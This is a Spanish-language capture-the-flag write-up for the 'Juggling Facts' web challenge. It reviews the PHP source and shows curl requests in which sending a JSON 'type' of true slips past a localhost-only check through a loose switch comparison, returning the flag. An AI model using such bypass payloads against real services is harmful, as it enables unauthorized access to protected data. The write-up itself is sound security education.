Juggling Facts
3 minutos de lectura
Se nos proporciona la siguiente página web:
Análisis de código estático
También nos dan el código PHP de la aplicación web. La parte importante está en controllers/IndexController.php
:
<?php
class IndexController extends Controller
{
public function __construct()
{
parent::__construct();
}
public function index($router)
{
$router->view('index');
}
public function getfacts($router)
{
$jsondata = json_decode(file_get_contents('php://input'), true);
if ( empty($jsondata) || !array_key_exists('type', $jsondata))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
switch ($jsondata['type'])
{
case 'secrets':
return $router->jsonify([
'facts' => $this->facts->get_facts('secrets')
]);
case 'spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('spooky')
]);
case 'not_spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('not_spooky')
]);
default:
return $router->jsonify([
'message' => 'Invalid type!'
]);
}
}
}
Nos interesa ejecutar $this->facts->get_facts('secrets')
, porque la flag se encuentra ahí (como se ve en entrypoint.sh
). Además, para interactuar con IndexController
, tenemos que usar la ruta /api/getfacts
:
<?php spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
}
include_once "${name}.php";
});
$database = new Database('localhost', 'root', 'M@k3l@R!d3s$', 'web_juggling_facts');
$database->connect();
$router = new Router();
$router->new('GET', '/', 'IndexController@index');
$router->new('POST','/api/getfacts', 'IndexController@getfacts');
die($router->match());
Explotación
Mirando a controllers/IndexController.php
, parece claro que tenemos que saltarnos esta comprobación:
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
Y así llegamos al switch
y accedemos a $this->facts->get_facts('secrets')
.
Probando cabeceras HTTP
En este punto, podemos empezar por añadir cabeceras HTTP como X-Forwarded-For
para poner 127.0.0.1
y así saltarnos la comprobación y ver secrets
.
Después de muchas pruebas, podemos concluir que $_SERVER['REMOTE_ADDR']
no se puede modificar. Entonces, tenemos que encontrar otra solución.
Type Juggling
En este punto, volví hacia atrás y me di cuenta de que el nombre del reto es “Juggling Facts”, que hace mención a una vulnerabilidada conocida como Type Juggling, que es muy común en lenguajes como PHP o JavaScript.
Las vulnerabilidades de Type Juggling aparecen cuando las comparaciones son ==
en lugar de ===
, de manera que solamente se compara el valor, no el tipo de variable. Por ejemplo:
1 == '1'
istrue
1 === '1'
isfalse
Si miramos el código otra vez, solamente veremos comparaciones con ===
, por lo que Type Juggling no es explotable…
Flag
Aun así, vamos a probar:
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":"secrets"}'
{"message":"Currently this type can be only accessed through localhost!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":1}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":0}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":"1"}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":{}}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":[]}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":true}'
{"facts":[{"id":19,"fact":"HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}","fact_type":"secrets"}]}
Parece que switch(true)
ejecuta siempre la primera opción, que es $this->facts->get_facts('secrets')
.